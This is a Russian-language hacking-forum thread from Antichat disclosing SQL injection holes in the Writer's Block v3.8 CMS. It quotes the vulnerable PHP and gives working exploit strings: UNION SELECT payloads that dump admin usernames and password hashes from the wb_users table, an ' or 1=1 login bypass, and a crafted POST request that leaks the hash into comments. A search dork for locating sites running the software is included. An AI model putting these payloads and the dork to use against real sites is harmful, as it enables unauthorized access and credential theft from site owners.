Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости Writer's Block v3.8 (https://forum.antichat.xyz/showthread.php?t=118454)

Iceangel_ 30.04.2009 10:22

Уязвимости Writer's Block v3.8
 
Уязвимости Writer's Block v3.8
download: http://www.desiquintans.com/writers-block/downloads/writersblock-current.zip
dork: "Published by Writer’s Block"

SQL-injection

1) archive.php (требования: magic_quotes=off)
уязвимый код:
PHP код:

if(isset($_GET['cat'])) {
## Check if category exists
    
$check strpos($_GET['cat'], '+');     //это, какбе, защита от инъекций, походу =)
    
$check .= strpos($_GET['cat'], '%20');  //
    
if(!$check) {
        
$getinfo mysql_query("SELECT PCatID, PostCatName, PostDesc FROM ".POSTCAT_TBL." WHERE PostCatUrl='".$_GET['cat']."'");
    } 

эксплуатирование:
Код:

archive.php?cat=-1'/**/union/**/select/**/1,concat_ws(0x3a,UserName,Password),3/**/from/**/wb_users/*


2) /admin/cat.php (требования: доступ в админ панель)
уязвимый код:
PHP код:

elseif ($_GET['action'] == 'edit') {
    if (isset(
$_GET['PCatID'])) {
        
## Edit post category
        
$pagetitle 'Edit Post Category';
        include (
'include/head.htm');

        
$retrieve mysql_query ("SELECT * FROM ".POSTCAT_TBL." WHERE PCatID=".$_GET['PCatID']); 

эксплуатирование:
в этой инъекции мк=офф уже не обязательно, но в админку еще попасть надо =)...
Код:

admin/cat.php?action=edit&PCatID=1+union+select+1,2,3,version(),5--

Bypass (требования: magic_quotes=off)
уязвимый код:
/admin/login.php
PHP код:

if($_POST['login']) {
    
$error NULL;
    if(empty(
$_POST['username']) or strpos($_POST['username'], ' ')) {
        
$u FALSE;
        
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid username.</p>';
    } else {
        
$u =& $_POST['username'];
    }
    if(empty(
$_POST['password']) or strpos($_POST['password'], ' ')) {
        
$p FALSE;
        
$error .= '<p align="center"><img src="include/img/failure.png" width="16" height="16" alt="" /> Invalid password.</p>';
    } else {
        
$p =& $_POST['password'];
    }

    if(
$u and $p) {
        
$get_user_auth mysql_query("SELECT UserID, UserName, Password FROM ".USERS_TBL." WHERE UserName='$u' AND Password='".md5($p)."'"); 

эксплуатирование:
идем в /admin/login.php и вбиваем:

Username:'/**/or/**/1=1/*
Password:<any symbols without space>

RulleR 29.12.2009 20:06

Version: 3.8

SQL Injection

Vuln file: articles.php
PHP код:

/*...*/
if(isset($_GET['page'])) {
## Check if the Anypage exists
    
$check strpos($_GET['page'], '+');
    
$check .= strpos($_GET['page'], '%20');
    if(!
$check) {
        
$showpage mysql_query("SELECT Title, Subheading, PageDesc, PageBody, AnyCat1, AnyCat2, AnyCat3, AnyCat4, Author, Timestamp FROM ".ANYPAGE_TBL."
            WHERE UrlName='"
.$_GET['page']."'");
    }
/*...*/ 

Exploit:
Код:

http://[host]/[path]/articles.php?page=1'+union+select+null,concat_ws(0x3a,UserName,Password),null,null,null,null,null,null,null,null+from+wb_users+where+UserID=1+--+
Vuln file: permalink.php
PHP код:

/*...*/
        
$comment_sent mysql_query("INSERT INTO ".COMMENTS_TBL." (PostID, Name, Email, Url, Body, Timestamp) VALUES
        ('"
.$_POST['PostID']."', '".strip_tags($_POST['name'])."', '".strip_tags($_POST['email'])."', '$url', '".nl2br($comment)."', 
            '"
.time()."')");
/*...*/ 

Exploit:
Код:

POST http://[host]/[path]/permalink.php HTTP/1.0
Content-type: application/x-www-form-urlencoded

PostID=1
&name=Antichat.ru
&email=admin@lol.lol
&url=xek',(select concat_ws(0x3a,UserName,Password) from wb_users where UserID=1),'A')/*
&comment=Hello World
&submit=Say%20this

смотрим логин:хэш админа в комментах

Для успешной эксплуатации уязвимостей необходимо:
magic_quotes = OFF


Время: 12:41